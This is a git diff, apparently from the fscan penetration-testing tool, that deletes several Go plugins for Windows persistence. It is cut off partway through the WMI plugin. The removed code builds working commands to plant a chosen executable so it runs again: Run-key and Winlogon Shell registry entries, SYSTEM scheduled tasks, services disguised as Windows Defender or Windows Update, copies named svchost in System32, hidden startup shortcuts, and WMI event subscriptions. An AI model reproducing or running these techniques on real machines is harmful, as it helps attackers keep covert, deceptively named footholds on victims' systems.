common.LogInfo(fmt.Sprintf("创建了%d个注册表持久化项:", len(registryKeys))) - for i, key := range registryKeys { - common.LogInfo(fmt.Sprintf("%d. %s", i+1, key)) - } - - result := &base.ScanResult{ - Success: true, - Service: "WinRegistry", - Banner: fmt.Sprintf("Windows注册表持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS), - Extra: map[string]interface{}{ - "pe_file": p.pePath, - "persistence_type": "registry", - "entries_created": len(registryKeys), - "registry_methods": registryKeys, - }, - } - - return result, nil -} - -func (p *WinRegistryPlugin) createRegistryPersistence(pePath string) ([]string, error) { - absPath, err := filepath.Abs(pePath) - if err != nil { - return nil, fmt.Errorf("failed to get absolute path: %v", err) - } - - var registryEntries []string - baseName := filepath.Base(absPath) - baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] - - registryKeys := []struct { - hive string - key string - valueName string - description string - }{ - { - hive: "HKEY_CURRENT_USER", - key: `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`, - valueName: fmt.Sprintf("WindowsUpdate_%s", baseNameNoExt), - description: "Current User Run Key", - }, - { - hive: "HKEY_LOCAL_MACHINE", - key: `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`, - valueName: fmt.Sprintf("SecurityUpdate_%s", baseNameNoExt), - description: "Local Machine Run Key", - }, - { - hive: "HKEY_CURRENT_USER", - key: `SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce`, - valueName: fmt.Sprintf("SystemInit_%s", baseNameNoExt), - description: "Current User RunOnce Key", - }, - { - hive: "HKEY_LOCAL_MACHINE", - key: `SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run`, - valueName: fmt.Sprintf("AppUpdate_%s", baseNameNoExt), - description: "WOW64 Run Key", - }, - { - hive: "HKEY_LOCAL_MACHINE", - key: `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`, - valueName: "Shell", - description: "Winlogon Shell Override", - }, - { - hive: "HKEY_CURRENT_USER", - key: `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows`, - valueName: "Load", - description: "Windows Load Key", - }, - } - - for _, regKey := range registryKeys { - var regCommand string - var value string - - if regKey.valueName == "Shell" { - value = fmt.Sprintf("explorer.exe,%s", absPath) - } else if regKey.valueName == "Load" { - value = absPath - } else { - value = fmt.Sprintf(`"%s"`, absPath) - } - - regCommand = fmt.Sprintf(`reg add "%s\%s" /v "%s" /t REG_SZ /d "%s" /f`, - regKey.hive, regKey.key, regKey.valueName, value) - - registryEntries = append(registryEntries, fmt.Sprintf("[%s] %s", regKey.description, regCommand)) - } - - return registryEntries, nil -} - -// isValidPEFile 检查是否为有效的PE文件 -func (p *WinRegistryPlugin) isValidPEFile(filePath string) bool { - ext := strings.ToLower(filepath.Ext(filePath)) - return ext == ".exe" || ext == ".dll" -} - -// GetLocalData 获取Windows注册表持久化本地数据 -func (p *WinRegistryPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { - data := make(map[string]interface{}) - - data["plugin_type"] = "winregistry" - data["platform"] = runtime.GOOS - data["pe_file"] = p.pePath - data["persistence_method"] = "Windows Registry" - - if hostname, err := os.Hostname(); err == nil { - data["hostname"] = hostname - } - - return data, nil -} - -// ExtractData 提取数据 -func (p *WinRegistryPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { - return &base.ExploitResult{ - Success: true, - Output: fmt.Sprintf("Windows注册表持久化完成,PE文件: %s", p.pePath), - Data: data, - Extra: map[string]interface{}{ - "pe_file": p.pePath, - "persistence_method": "Windows Registry", - "status": "completed", - }, - }, nil -} - -// GetInfo 获取插件信息 -func (p *WinRegistryPlugin) GetInfo() string { - var info strings.Builder - - info.WriteString("Windows注册表持久化插件\n") - info.WriteString(fmt.Sprintf("PE文件: %s\n", p.pePath)) - info.WriteString("支持平台: Windows\n") - info.WriteString("功能: 通过注册表Run键等实现持久化\n") - info.WriteString("方法: HKCU/HKLM Run键、RunOnce键、Winlogon Shell等\n") - info.WriteString("要求: PE文件(.exe/.dll),管理员权限\n") - - return info.String() -} - -// RegisterWinRegistryPlugin 注册Windows注册表持久化插件 -func RegisterWinRegistryPlugin() { - factory := base.NewSimplePluginFactory( - &base.PluginMetadata{ - Name: "winregistry", - Version: "1.0.0", - Author: "fscan-team", - Description: "Windows注册表持久化插件,通过注册表Run键等实现持久化", - Category: "local", - Tags: []string{"winregistry", "local", "persistence", "windows"}, - Protocols: []string{"local"}, - }, - func() base.Plugin { - return NewWinRegistryPlugin() - }, - ) - - base.GlobalPluginRegistry.Register("winregistry", factory) -} - -// init 插件注册函数 -func init() { - RegisterWinRegistryPlugin() -} \ No newline at end of file diff --git a/plugins/local_backup/winschtask/plugin.go b/plugins/local_backup/winschtask/plugin.go deleted file mode 100644 index af1436c..0000000 --- a/plugins/local_backup/winschtask/plugin.go +++ /dev/null @@ -1,268 +0,0 @@ -//go:build windows - -package winschtask - -import ( - "context" - "fmt" - "os" - "path/filepath" - "runtime" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins/base" - "github.com/shadow1ng/fscan/plugins/local" -) - -// WinSchTaskPlugin Windows计划任务持久化插件 - 使用简化架构 -type WinSchTaskPlugin struct { - *local.BaseLocalPlugin - pePath string -} - -// NewWinSchTaskPlugin 创建Windows计划任务持久化插件 - 简化版本 -func NewWinSchTaskPlugin() *WinSchTaskPlugin { - // 从全局参数获取PE文件路径 - peFile := common.WinPEFile - if peFile == "" { - peFile = "" // 需要用户指定 - } - - metadata := &base.PluginMetadata{ - Name: "winschtask", - Version: "1.0.0", - Author: "fscan-team", - Description: "Windows计划任务持久化插件,通过schtasks创建定时任务实现持久化", - Category: "local", - Tags: []string{"local", "persistence", "windows", "schtask"}, - Protocols: []string{"local"}, - } - - plugin := &WinSchTaskPlugin{ - BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), - pePath: peFile, - } - - // 只支持Windows平台 - plugin.SetPlatformSupport([]string{"windows"}) - // 需要管理员权限创建系统任务 - plugin.SetRequiresPrivileges(true) - - return plugin -} - -// Initialize 初始化插件 -func (p *WinSchTaskPlugin) Initialize() error { - if p.pePath == "" { - return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径") - } - - // 检查目标文件是否存在 - if _, err := os.Stat(p.pePath); os.IsNotExist(err) { - return fmt.Errorf("PE文件不存在: %s", p.pePath) - } - - // 检查文件类型 - if !p.isValidPEFile(p.pePath) { - return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath) - } - - return p.BaseLocalPlugin.Initialize() -} - -// Scan 重写扫描方法以确保调用正确的ScanLocal实现 -func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - return p.ScanLocal(ctx, info) -} - -// ScanLocal 执行Windows计划任务持久化 - 简化版本 -func (p *WinSchTaskPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - common.LogBase("开始Windows计划任务持久化...") - - scheduledTasks, err := p.createScheduledTaskPersistence(p.pePath) - if err != nil { - return &base.ScanResult{ - Success: false, - Error: err, - }, nil - } - - common.LogInfo(fmt.Sprintf("创建了%d个计划任务持久化项:", len(scheduledTasks))) - for i, task := range scheduledTasks { - common.LogInfo(fmt.Sprintf("%d. %s", i+1, task)) - } - - result := &base.ScanResult{ - Success: true, - Service: "WinSchTask", - Banner: fmt.Sprintf("Windows计划任务持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS), - Extra: map[string]interface{}{ - "pe_file": p.pePath, - "persistence_type": "scheduled_task", - "tasks_created": len(scheduledTasks), - "scheduled_tasks": scheduledTasks, - }, - } - - return result, nil -} - -func (p *WinSchTaskPlugin) createScheduledTaskPersistence(pePath string) ([]string, error) { - absPath, err := filepath.Abs(pePath) - if err != nil { - return nil, fmt.Errorf("failed to get absolute path: %v", err) - } - - var scheduledTasks []string - baseName := filepath.Base(absPath) - baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] - - tasks := []struct { - name string - schedule string - description string - modifier string - }{ - { - name: fmt.Sprintf("WindowsUpdateCheck_%s", baseNameNoExt), - schedule: "DAILY", - modifier: "1", - description: "Daily Windows Update Check", - }, - { - name: fmt.Sprintf("SystemSecurityScan_%s", baseNameNoExt), - schedule: "ONLOGON", - modifier: "", - description: "System Security Scan on Logon", - }, - { - name: fmt.Sprintf("NetworkMonitor_%s", baseNameNoExt), - schedule: "MINUTE", - modifier: "30", - description: "Network Monitor Every 30 Minutes", - }, - { - name: fmt.Sprintf("MaintenanceTask_%s", baseNameNoExt), - schedule: "ONSTART", - modifier: "", - description: "System Maintenance Task on Startup", - }, - { - name: fmt.Sprintf("BackgroundService_%s", baseNameNoExt), - schedule: "HOURLY", - modifier: "2", - description: "Background Service Every 2 Hours", - }, - { - name: fmt.Sprintf("SecurityUpdate_%s", baseNameNoExt), - schedule: "ONIDLE", - modifier: "5", - description: "Security Update When System Idle", - }, - } - - for _, task := range tasks { - var schTaskCmd string - - if task.modifier != "" { - schTaskCmd = fmt.Sprintf(`schtasks /create /tn "%s" /tr "\"%s\"" /sc %s /mo %s /ru "SYSTEM" /f`, - task.name, absPath, task.schedule, task.modifier) - } else { - schTaskCmd = fmt.Sprintf(`schtasks /create /tn "%s" /tr "\"%s\"" /sc %s /ru "SYSTEM" /f`, - task.name, absPath, task.schedule) - } - - scheduledTasks = append(scheduledTasks, fmt.Sprintf("[%s] %s", task.description, schTaskCmd)) - } - - xmlTemplate := fmt.Sprintf(` - - - 2023-01-01T00:00:00 - Microsoft Corporation - Windows System Service - - - - true - - - true - - - - - S-1-5-18 - HighestAvailable - - - - IgnoreNew - false - false - false - true - false - - false - false - - true - true - true - false - false - true - false - PT0S - 7 - - - - %s - - -`, absPath) - - xmlTaskName := fmt.Sprintf("WindowsSystemService_%s", baseNameNoExt) - xmlPath := fmt.Sprintf(`%%TEMP%%\%s.xml`, xmlTaskName) - - xmlCmd := fmt.Sprintf(`echo %s > "%s" && schtasks /create /xml "%s" /tn "%s" /f`, - xmlTemplate, xmlPath, xmlPath, xmlTaskName) - - scheduledTasks = append(scheduledTasks, fmt.Sprintf("[XML Task Import] %s", xmlCmd)) - - return scheduledTasks, nil -} - -// isValidPEFile 检查是否为有效的PE文件 -func (p *WinSchTaskPlugin) isValidPEFile(filePath string) bool { - ext := strings.ToLower(filepath.Ext(filePath)) - return ext == ".exe" || ext == ".dll" -} - -// RegisterWinSchTaskPlugin 注册Windows计划任务持久化插件 -func RegisterWinSchTaskPlugin() { - factory := base.NewSimplePluginFactory( - &base.PluginMetadata{ - Name: "winschtask", - Version: "1.0.0", - Author: "fscan-team", - Description: "Windows计划任务持久化插件,通过schtasks创建定时任务实现持久化", - Category: "local", - Tags: []string{"winschtask", "local", "persistence", "windows"}, - Protocols: []string{"local"}, - }, - func() base.Plugin { - return NewWinSchTaskPlugin() - }, - ) - - base.GlobalPluginRegistry.Register("winschtask", factory) -} - -// init 插件注册函数 -func init() { - RegisterWinSchTaskPlugin() -} \ No newline at end of file diff --git a/plugins/local_backup/winservice/plugin.go b/plugins/local_backup/winservice/plugin.go deleted file mode 100644 index 226eae9..0000000 --- a/plugins/local_backup/winservice/plugin.go +++ /dev/null @@ -1,233 +0,0 @@ -//go:build windows - -package winservice - -import ( - "context" - "fmt" - "os" - "path/filepath" - "runtime" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins/base" - "github.com/shadow1ng/fscan/plugins/local" -) - -// WinServicePlugin Windows服务持久化插件 - 使用简化架构 -type WinServicePlugin struct { - *local.BaseLocalPlugin - pePath string -} - -// NewWinServicePlugin 创建Windows服务持久化插件 - 简化版本 -func NewWinServicePlugin() *WinServicePlugin { - // 从全局参数获取PE文件路径 - peFile := common.WinPEFile - if peFile == "" { - peFile = "" // 需要用户指定 - } - - metadata := &base.PluginMetadata{ - Name: "winservice", - Version: "1.0.0", - Author: "fscan-team", - Description: "Windows服务持久化插件,通过创建系统服务实现持久化", - Category: "local", - Tags: []string{"local", "persistence", "windows", "service"}, - Protocols: []string{"local"}, - } - - plugin := &WinServicePlugin{ - BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), - pePath: peFile, - } - - // 只支持Windows平台 - plugin.SetPlatformSupport([]string{"windows"}) - // 需要管理员权限创建系统服务 - plugin.SetRequiresPrivileges(true) - - return plugin -} - -// Initialize 初始化插件 -func (p *WinServicePlugin) Initialize() error { - if p.pePath == "" { - return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径") - } - - // 检查目标文件是否存在 - if _, err := os.Stat(p.pePath); os.IsNotExist(err) { - return fmt.Errorf("PE文件不存在: %s", p.pePath) - } - - // 检查文件类型 - if !p.isValidPEFile(p.pePath) { - return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath) - } - - return p.BaseLocalPlugin.Initialize() -} - -// Scan 重写扫描方法以确保调用正确的ScanLocal实现 -func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - return p.ScanLocal(ctx, info) -} - -// ScanLocal 执行Windows服务持久化 - 简化版本 -func (p *WinServicePlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - common.LogBase("开始Windows服务持久化...") - - services, err := p.createServicePersistence(p.pePath) - if err != nil { - return &base.ScanResult{ - Success: false, - Error: err, - }, nil - } - - common.LogInfo(fmt.Sprintf("创建了%d个Windows服务持久化项:", len(services))) - for i, service := range services { - common.LogInfo(fmt.Sprintf("%d. %s", i+1, service)) - } - - result := &base.ScanResult{ - Success: true, - Service: "WinService", - Banner: fmt.Sprintf("Windows服务持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS), - Extra: map[string]interface{}{ - "pe_file": p.pePath, - "persistence_type": "service", - "services_created": len(services), - "service_methods": services, - }, - } - - return result, nil -} - -func (p *WinServicePlugin) createServicePersistence(pePath string) ([]string, error) { - absPath, err := filepath.Abs(pePath) - if err != nil { - return nil, fmt.Errorf("failed to get absolute path: %v", err) - } - - var services []string - baseName := filepath.Base(absPath) - baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] - - serviceConfigs := []struct { - name string - displayName string - description string - startType string - }{ - { - name: fmt.Sprintf("WinDefenderUpdate%s", baseNameNoExt), - displayName: "Windows Defender Update Service", - description: "Manages Windows Defender signature updates and system security", - startType: "auto", - }, - { - name: fmt.Sprintf("SystemEventLog%s", baseNameNoExt), - displayName: "System Event Log Service", - description: "Manages system event logging and audit trail maintenance", - startType: "auto", - }, - { - name: fmt.Sprintf("NetworkManager%s", baseNameNoExt), - displayName: "Network Configuration Manager", - description: "Handles network interface configuration and management", - startType: "demand", - }, - { - name: fmt.Sprintf("WindowsUpdate%s", baseNameNoExt), - displayName: "Windows Update Assistant", - description: "Coordinates automatic Windows updates and patches", - startType: "auto", - }, - { - name: fmt.Sprintf("SystemMaintenance%s", baseNameNoExt), - displayName: "System Maintenance Service", - description: "Performs routine system maintenance and optimization tasks", - startType: "manual", - }, - } - - for _, config := range serviceConfigs { - scCreateCmd := fmt.Sprintf(`sc create "%s" binPath= "\"%s\"" DisplayName= "%s" start= %s`, - config.name, absPath, config.displayName, config.startType) - - scConfigCmd := fmt.Sprintf(`sc description "%s" "%s"`, config.name, config.description) - - scStartCmd := fmt.Sprintf(`sc start "%s"`, config.name) - - services = append(services, fmt.Sprintf("[Create Service] %s", scCreateCmd)) - services = append(services, fmt.Sprintf("[Set Description] %s", scConfigCmd)) - services = append(services, fmt.Sprintf("[Start Service] %s", scStartCmd)) - } - - serviceWrapperName := fmt.Sprintf("ServiceHost%s", baseNameNoExt) - wrapperPath := fmt.Sprintf(`%%SystemRoot%%\System32\%s.exe`, serviceWrapperName) - - copyWrapperCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, wrapperPath) - services = append(services, fmt.Sprintf("[Copy to System32] %s", copyWrapperCmd)) - - scCreateWrapperCmd := fmt.Sprintf(`sc create "%s" binPath= "%s" DisplayName= "Service Host Process" start= auto type= own`, - serviceWrapperName, wrapperPath) - services = append(services, fmt.Sprintf("[Create System Service] %s", scCreateWrapperCmd)) - - regImagePathCmd := fmt.Sprintf(`reg add "HKLM\SYSTEM\CurrentControlSet\Services\%s\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%s" /f`, - serviceWrapperName, wrapperPath) - services = append(services, fmt.Sprintf("[Set Service DLL] %s", regImagePathCmd)) - - dllServiceName := fmt.Sprintf("SystemService%s", baseNameNoExt) - if filepath.Ext(absPath) == ".dll" { - svchostCmd := fmt.Sprintf(`sc create "%s" binPath= "%%SystemRoot%%\System32\svchost.exe -k netsvcs" DisplayName= "System Service Host" start= auto`, - dllServiceName) - services = append(services, fmt.Sprintf("[DLL Service via svchost] %s", svchostCmd)) - - regSvchostCmd := fmt.Sprintf(`reg add "HKLM\SYSTEM\CurrentControlSet\Services\%s\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%s" /f`, - dllServiceName, absPath) - services = append(services, fmt.Sprintf("[Set DLL Path] %s", regSvchostCmd)) - - regNetSvcsCmd := fmt.Sprintf(`reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvcs /t REG_MULTI_SZ /d "%s" /f`, - dllServiceName) - services = append(services, fmt.Sprintf("[Add to netsvcs] %s", regNetSvcsCmd)) - } - - return services, nil -} - -// isValidPEFile 检查是否为有效的PE文件 -func (p *WinServicePlugin) isValidPEFile(filePath string) bool { - ext := strings.ToLower(filepath.Ext(filePath)) - return ext == ".exe" || ext == ".dll" -} - -// RegisterWinServicePlugin 注册Windows服务持久化插件 -func RegisterWinServicePlugin() { - factory := base.NewSimplePluginFactory( - &base.PluginMetadata{ - Name: "winservice", - Version: "1.0.0", - Author: "fscan-team", - Description: "Windows服务持久化插件,通过创建系统服务实现持久化", - Category: "local", - Tags: []string{"winservice", "local", "persistence", "windows"}, - Protocols: []string{"local"}, - }, - func() base.Plugin { - return NewWinServicePlugin() - }, - ) - - base.GlobalPluginRegistry.Register("winservice", factory) -} - -// init 插件注册函数 -func init() { - RegisterWinServicePlugin() -} \ No newline at end of file diff --git a/plugins/local_backup/winstartup/plugin.go b/plugins/local_backup/winstartup/plugin.go deleted file mode 100644 index 5e9adcd..0000000 --- a/plugins/local_backup/winstartup/plugin.go +++ /dev/null @@ -1,224 +0,0 @@ -//go:build windows - -package winstartup - -import ( - "context" - "fmt" - "os" - "path/filepath" - "runtime" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins/base" - "github.com/shadow1ng/fscan/plugins/local" -) - -// WinStartupPlugin Windows启动文件夹持久化插件 - 使用简化架构 -type WinStartupPlugin struct { - *local.BaseLocalPlugin - pePath string -} - -// NewWinStartupPlugin 创建Windows启动文件夹持久化插件 - 简化版本 -func NewWinStartupPlugin() *WinStartupPlugin { - // 从全局参数获取PE文件路径 - peFile := common.WinPEFile - if peFile == "" { - peFile = "" // 需要用户指定 - } - - metadata := &base.PluginMetadata{ - Name: "winstartup", - Version: "1.0.0", - Author: "fscan-team", - Description: "Windows启动文件夹持久化插件,通过启动文件夹和快捷方式实现持久化", - Category: "local", - Tags: []string{"local", "persistence", "windows", "startup"}, - Protocols: []string{"local"}, - } - - plugin := &WinStartupPlugin{ - BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), - pePath: peFile, - } - - // 只支持Windows平台 - plugin.SetPlatformSupport([]string{"windows"}) - // 不需要特殊权限 - plugin.SetRequiresPrivileges(false) - - return plugin -} - -// Initialize 初始化插件 -func (p *WinStartupPlugin) Initialize() error { - if p.pePath == "" { - return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径") - } - - // 检查目标文件是否存在 - if _, err := os.Stat(p.pePath); os.IsNotExist(err) { - return fmt.Errorf("PE文件不存在: %s", p.pePath) - } - - // 检查文件类型 - if !p.isValidPEFile(p.pePath) { - return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath) - } - - return p.BaseLocalPlugin.Initialize() -} - -// Scan 重写扫描方法以确保调用正确的ScanLocal实现 -func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - return p.ScanLocal(ctx, info) -} - -// ScanLocal 执行Windows启动文件夹持久化 - 简化版本 -func (p *WinStartupPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - common.LogBase("开始Windows启动文件夹持久化...") - - startupMethods, err := p.createStartupPersistence(p.pePath) - if err != nil { - return &base.ScanResult{ - Success: false, - Error: err, - }, nil - } - - common.LogInfo(fmt.Sprintf("创建了%d个启动文件夹持久化方法:", len(startupMethods))) - for i, method := range startupMethods { - common.LogInfo(fmt.Sprintf("%d. %s", i+1, method)) - } - - result := &base.ScanResult{ - Success: true, - Service: "WinStartup", - Banner: fmt.Sprintf("Windows启动文件夹持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS), - Extra: map[string]interface{}{ - "pe_file": p.pePath, - "persistence_type": "startup", - "methods_created": len(startupMethods), - "startup_methods": startupMethods, - }, - } - - return result, nil -} - -func (p *WinStartupPlugin) createStartupPersistence(pePath string) ([]string, error) { - absPath, err := filepath.Abs(pePath) - if err != nil { - return nil, fmt.Errorf("failed to get absolute path: %v", err) - } - - var startupMethods []string - baseName := filepath.Base(absPath) - baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] - - startupLocations := []struct { - path string - description string - method string - }{ - { - path: `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, - description: "Current User Startup Folder", - method: "shortcut", - }, - { - path: `%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Startup`, - description: "All Users Startup Folder", - method: "shortcut", - }, - { - path: `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, - description: "Current User Startup Folder (Direct Copy)", - method: "copy", - }, - { - path: `%TEMP%\WindowsUpdate`, - description: "Temp Directory with Startup Reference", - method: "temp_copy", - }, - } - - for _, location := range startupLocations { - switch location.method { - case "shortcut": - shortcutName := fmt.Sprintf("WindowsUpdate_%s.lnk", baseNameNoExt) - shortcutPath := filepath.Join(location.path, shortcutName) - - powershellCmd := fmt.Sprintf(`powershell "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('%s'); $Shortcut.TargetPath = '%s'; $Shortcut.Save()"`, - shortcutPath, absPath) - - startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s", location.description, powershellCmd)) - - case "copy": - targetName := fmt.Sprintf("SecurityUpdate_%s.exe", baseNameNoExt) - targetPath := filepath.Join(location.path, targetName) - copyCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, targetPath) - - startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s", location.description, copyCmd)) - - case "temp_copy": - tempDir := filepath.Join(location.path) - mkdirCmd := fmt.Sprintf(`mkdir "%s" 2>nul`, tempDir) - targetName := fmt.Sprintf("svchost_%s.exe", baseNameNoExt) - targetPath := filepath.Join(tempDir, targetName) - copyCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, targetPath) - - startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s && %s", location.description, mkdirCmd, copyCmd)) - - shortcutPath := filepath.Join(`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, fmt.Sprintf("SystemService_%s.lnk", baseNameNoExt)) - powershellCmd := fmt.Sprintf(`powershell "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('%s'); $Shortcut.TargetPath = '%s'; $Shortcut.WindowStyle = 7; $Shortcut.Save()"`, - shortcutPath, targetPath) - - startupMethods = append(startupMethods, fmt.Sprintf("[Hidden Temp Reference] %s", powershellCmd)) - } - } - - batchScript := fmt.Sprintf(`@echo off -cd /d "%%~dp0" -start "" /b "%s" -exit`, absPath) - - batchPath := filepath.Join(`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, fmt.Sprintf("WindowsService_%s.bat", baseNameNoExt)) - batchCmd := fmt.Sprintf(`echo %s > "%s"`, batchScript, batchPath) - startupMethods = append(startupMethods, fmt.Sprintf("[Batch Script Method] %s", batchCmd)) - - return startupMethods, nil -} - -// isValidPEFile 检查是否为有效的PE文件 -func (p *WinStartupPlugin) isValidPEFile(filePath string) bool { - ext := strings.ToLower(filepath.Ext(filePath)) - return ext == ".exe" || ext == ".dll" -} - -// RegisterWinStartupPlugin 注册Windows启动文件夹持久化插件 -func RegisterWinStartupPlugin() { - factory := base.NewSimplePluginFactory( - &base.PluginMetadata{ - Name: "winstartup", - Version: "1.0.0", - Author: "fscan-team", - Description: "Windows启动文件夹持久化插件,通过启动文件夹和快捷方式实现持久化", - Category: "local", - Tags: []string{"winstartup", "local", "persistence", "windows"}, - Protocols: []string{"local"}, - }, - func() base.Plugin { - return NewWinStartupPlugin() - }, - ) - - base.GlobalPluginRegistry.Register("winstartup", factory) -} - -// init 插件注册函数 -func init() { - RegisterWinStartupPlugin() -} \ No newline at end of file diff --git a/plugins/local_backup/winwmi/plugin.go b/plugins/local_backup/winwmi/plugin.go deleted file mode 100644 index c20285e..0000000 --- a/plugins/local_backup/winwmi/plugin.go +++ /dev/null @@ -1,257 +0,0 @@ -//go:build windows - -package winwmi - -import ( - "context" - "fmt" - "os" - "path/filepath" - "runtime" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins/base" - "github.com/shadow1ng/fscan/plugins/local" -) - -// WinWMIPlugin Windows WMI事件订阅持久化插件 - 使用简化架构 -type WinWMIPlugin struct { - *local.BaseLocalPlugin - pePath string -} - -// NewWinWMIPlugin 创建Windows WMI事件订阅持久化插件 - 简化版本 -func NewWinWMIPlugin() *WinWMIPlugin { - // 从全局参数获取PE文件路径 - peFile := common.WinPEFile - if peFile == "" { - peFile = "" // 需要用户指定 - } - - metadata := &base.PluginMetadata{ - Name: "winwmi", - Version: "1.0.0", - Author: "fscan-team", - Description: "Windows WMI事件订阅持久化插件,通过WMI事件触发器实现持久化", - Category: "local", - Tags: []string{"local", "persistence", "windows", "wmi"}, - Protocols: []string{"local"}, - } - - plugin := &WinWMIPlugin{ - BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), - pePath: peFile, - } - - // 只支持Windows平台 - plugin.SetPlatformSupport([]string{"windows"}) - // 需要管理员权限修改WMI订阅 - plugin.SetRequiresPrivileges(true) - - return plugin -} - -// Initialize 初始化插件 -func (p *WinWMIPlugin) Initialize() error { - if p.pePath == "" { - return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径") - } - - // 检查目标文件是否存在 - if _, err := os.Stat(p.pePath); os.IsNotExist(err) { - return fmt.Errorf("PE文件不存在: %s", p.pePath) - } - - // 检查文件类型 - if !p.isValidPEFile(p.pePath) { - return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath) - } - - return p.BaseLocalPlugin.Initialize() -} - -// Scan 重写扫描方法以确保调用正确的ScanLocal实现 -func (p *WinWMIPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - return p.ScanLocal(ctx, info) -} - -// ScanLocal 执行Windows WMI事件订阅持久化 - 简化版本 -func (p *WinWMIPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - common.LogBase("开始Windows WMI事件订阅持久化...") - - wmiSubscriptions, err := p.createWMIEventSubscriptions(p.pePath) - if err != nil { - return &base.ScanResult{ - Success: false, - Error: err, - }, nil - } - - common.LogInfo(fmt.Sprintf("创建了%d个WMI事件订阅持久化项:", len(wmiSubscriptions))) - for i, subscription := range wmiSubscriptions { - common.LogInfo(fmt.Sprintf("%d. %s", i+1, subscription)) - } - - result := &base.ScanResult{ - Success: true, - Service: "WinWMI", - Banner: fmt.Sprintf("Windows WMI事件订阅持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS), - Extra: map[string]interface{}{ - "pe_file": p.pePath, - "persistence_type": "wmi_event", - "subscriptions_created": len(wmiSubscriptions), - "wmi_subscriptions": wmiSubscriptions, - }, - } - - return result, nil -} - -func (p *WinWMIPlugin) createWMIEventSubscriptions(pePath string) ([]string, error) { - absPath, err := filepath.Abs(pePath) - if err != nil { - return nil, fmt.Errorf("failed to get absolute path: %v", err) - } - - var wmiSubscriptions []string - baseName := filepath.Base(absPath) - baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] - - wmiEventConfigs := []struct { - filterName string - consumerName string - bindingName string - query string - description string - }{ - { - filterName: fmt.Sprintf("SystemBootFilter_%s", baseNameNoExt), - consumerName: fmt.Sprintf("SystemBootConsumer_%s", baseNameNoExt), - bindingName: fmt.Sprintf("SystemBootBinding_%s", baseNameNoExt), - query: "SELECT * FROM Win32_SystemConfigurationChangeEvent", - description: "System Boot Event Trigger", - }, - { - filterName: fmt.Sprintf("ProcessStartFilter_%s", baseNameNoExt), - consumerName: fmt.Sprintf("ProcessStartConsumer_%s", baseNameNoExt), - bindingName: fmt.Sprintf("ProcessStartBinding_%s", baseNameNoExt), - query: "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'", - description: "Explorer Process Start Trigger", - }, - { - filterName: fmt.Sprintf("UserLogonFilter_%s", baseNameNoExt), - consumerName: fmt.Sprintf("UserLogonConsumer_%s", baseNameNoExt), - bindingName: fmt.Sprintf("UserLogonBinding_%s", baseNameNoExt), - query: "SELECT * FROM Win32_LogonSessionEvent WHERE EventType=2", - description: "User Logon Event Trigger", - }, - { - filterName: fmt.Sprintf("FileCreateFilter_%s", baseNameNoExt), - consumerName: 